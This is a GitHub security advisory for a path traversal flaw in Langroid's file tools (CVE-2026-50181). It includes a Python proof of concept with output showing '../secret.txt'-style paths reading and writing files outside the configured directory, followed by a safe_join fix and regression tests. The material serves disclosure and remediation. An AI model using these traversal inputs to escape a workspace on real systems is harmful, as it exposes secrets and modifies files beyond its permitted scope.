GHSA-FG23-3346-88F5
Vulnerability from github – Published: 2026-07-02 17:38 – Updated: 2026-07-02 17:38Summary
Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.
As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.
This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.
Details
Affected components:
langroid/agent/tools/file_tools.pylangroid/utils/system.py
Relevant behavior observed:
ReadFileTool contains a comment indicating the intended assumption:
```text
ASSUME: file_path should be relative to the curr_dir
The tool then changes into the configured current directory and calls read_file(self.file_path).
WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).
The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.
In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.
PoC
Tested locally against the current Langroid repository checkout.
Environment:
Python 3.12 Langroid installed in editable mode with pip install -e .
PoC script:
from pathlib import Path from tempfile import TemporaryDirectory import os
os.environ["docker"] = "false" os.environ["DOCKER"] = "false"
from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool
class DummyIndex: def add(self, files): print("dummy git add:", files)
def commit(self, message):
print("dummy git commit:", message)
class DummyRepo: index = DummyIndex()
with TemporaryDirectory() as root: base = Path(root) sandbox = base / "sandbox" sandbox.mkdir()
secret = base / "secret.txt"
secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")
ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
read_tool = ReadSandbox(file_path="../secret.txt")
print("READ TOOL RESULT:")
print(read_tool.handle())
WriteSandbox = WriteFileTool.create(
get_curr_dir=lambda: sandbox,
get_git_repo=lambda: DummyRepo(),
)
write_tool = WriteSandbox(
file_path="../written_by_tool.txt",
content="WRITTEN_BY_LANGROID_TOOL",
language="text",
)
print("WRITE TOOL RESULT:")
print(write_tool.handle())
outside = base / "written_by_tool.txt"
print("outside exists:", outside.exists())
print("outside content:", outside.read_text(encoding="utf-8"))
Observed output:
READ TOOL RESULT:
CONTENTS of ../secret.txt:
(Line numbers added for reference only!)
---------------------------
1: LANGROID_TOOL_ESCAPE_PROOF
WRITE TOOL RESULT: Content created/updated in: ..\written_by_tool.txt dummy git add: ['../written_by_tool.txt'] dummy git commit: Agent write file tool Content written to ../written_by_tool.txt and committed outside exists: True outside content: WRITTEN_BY_LANGROID_TOOL
This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.
Impact
If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.
Potential impact includes:
Reading files outside the intended workspace. Writing files outside the intended workspace. Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files. Modifying files outside the intended project directory if WriteFileTool is enabled.
This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.
This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.
Suggested remediation
Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.
Example patch pattern:
from pathlib import Path
def safe_join(base_dir: str | Path, user_path: str | Path) -> Path: base = Path(base_dir).resolve() target = (base / user_path).resolve()
if target != base and base not in target.parents:
raise ValueError("Path escapes configured current directory")
return target
Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.
Suggested regression tests:
ReadFileTool(file_path="../secret.txt") should be rejected. WriteFileTool(file_path="../outside.txt") should be rejected. Absolute paths outside curr_dir should be rejected. Symlink-based escapes should be rejected after final path resolution. Normal relative paths inside curr_dir, such as src/main.py, should continue to work.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.63.0"
},
"package": {
"ecosystem": "PyPI",
"name": "langroid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.64.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50181"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T17:38:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nLangroid\u0027s `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`.\n\nAs a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory.\n\nThis can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory.\n\n### Details\n\nAffected components:\n\n- `langroid/agent/tools/file_tools.py`\n- `langroid/utils/system.py`\n\nRelevant behavior observed:\n\n`ReadFileTool` contains a comment indicating the intended assumption:\n\n```text\n# ASSUME: file_path should be relative to the curr_dir\n\nThe tool then changes into the configured current directory and calls read_file(self.file_path).\n\nWriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).\n\nThe issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.\n\nIn local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.\n\nPoC\n\nTested locally against the current Langroid repository checkout.\n\nEnvironment:\n\nPython 3.12\nLangroid installed in editable mode with pip install -e .\n\nPoC script:\n\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nimport os\n\nos.environ[\"docker\"] = \"false\"\nos.environ[\"DOCKER\"] = \"false\"\n\nfrom langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool\n\n\nclass DummyIndex:\n def add(self, files):\n print(\"dummy git add:\", files)\n\n def commit(self, message):\n print(\"dummy git commit:\", message)\n\n\nclass DummyRepo:\n index = DummyIndex()\n\n\nwith TemporaryDirectory() as root:\n base = Path(root)\n sandbox = base / \"sandbox\"\n sandbox.mkdir()\n\n secret = base / \"secret.txt\"\n secret.write_text(\"LANGROID_TOOL_ESCAPE_PROOF\", encoding=\"utf-8\")\n\n ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)\n read_tool = ReadSandbox(file_path=\"../secret.txt\")\n\n print(\"READ TOOL RESULT:\")\n print(read_tool.handle())\n\n WriteSandbox = WriteFileTool.create(\n get_curr_dir=lambda: sandbox,\n get_git_repo=lambda: DummyRepo(),\n )\n\n write_tool = WriteSandbox(\n file_path=\"../written_by_tool.txt\",\n content=\"WRITTEN_BY_LANGROID_TOOL\",\n language=\"text\",\n )\n\n print(\"WRITE TOOL RESULT:\")\n print(write_tool.handle())\n\n outside = base / \"written_by_tool.txt\"\n print(\"outside exists:\", outside.exists())\n print(\"outside content:\", outside.read_text(encoding=\"utf-8\"))\n\nObserved output:\n\nREAD TOOL RESULT:\n\n CONTENTS of ../secret.txt:\n (Line numbers added for reference only!)\n ---------------------------\n 1: LANGROID_TOOL_ESCAPE_PROOF\n\nWRITE TOOL RESULT:\nContent created/updated in: ..\\written_by_tool.txt\ndummy git add: [\u0027../written_by_tool.txt\u0027]\ndummy git commit: Agent write file tool\nContent written to ../written_by_tool.txt and committed\noutside exists: True\noutside content: WRITTEN_BY_LANGROID_TOOL\n\nThis demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.\n\nImpact\n\nIf an application enables Langroid\u0027s file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.\n\nPotential impact includes:\n\nReading files outside the intended workspace.\nWriting files outside the intended workspace.\nExposing local secrets, configuration files, source files, environment files, or other project-adjacent files.\nModifying files outside the intended project directory if WriteFileTool is enabled.\n\nThis is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.\n\nThis report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.\n\nSuggested remediation\n\nBefore reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.\n\nExample patch pattern:\n\nfrom pathlib import Path\n\ndef safe_join(base_dir: str | Path, user_path: str | Path) -\u003e Path:\n base = Path(base_dir).resolve()\n target = (base / user_path).resolve()\n\n if target != base and base not in target.parents:\n raise ValueError(\"Path escapes configured current directory\")\n\n return target\n\nThen use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.\n\nSuggested regression tests:\n\nReadFileTool(file_path=\"../secret.txt\") should be rejected.\nWriteFileTool(file_path=\"../outside.txt\") should be rejected.\nAbsolute paths outside curr_dir should be rejected.\nSymlink-based escapes should be rejected after final path resolution.\nNormal relative paths inside curr_dir, such as src/main.py, should continue to work.\n\n[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)",
"id": "GHSA-fg23-3346-88f5",
"modified": "2026-07-02T17:38:04Z",
"published": "2026-07-02T17:38:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langroid/langroid/security/advisories/GHSA-fg23-3346-88f5"
},
{
"type": "WEB",
"url": "https://github.com/langroid/langroid/commit/56e2756ecab70a70a7e6edbee2f2187b8484683e"
},
{
"type": "PACKAGE",
"url": "https://github.com/langroid/langroid"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langroid: Path traversal in the file tools allows read/write outside configured current directory"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.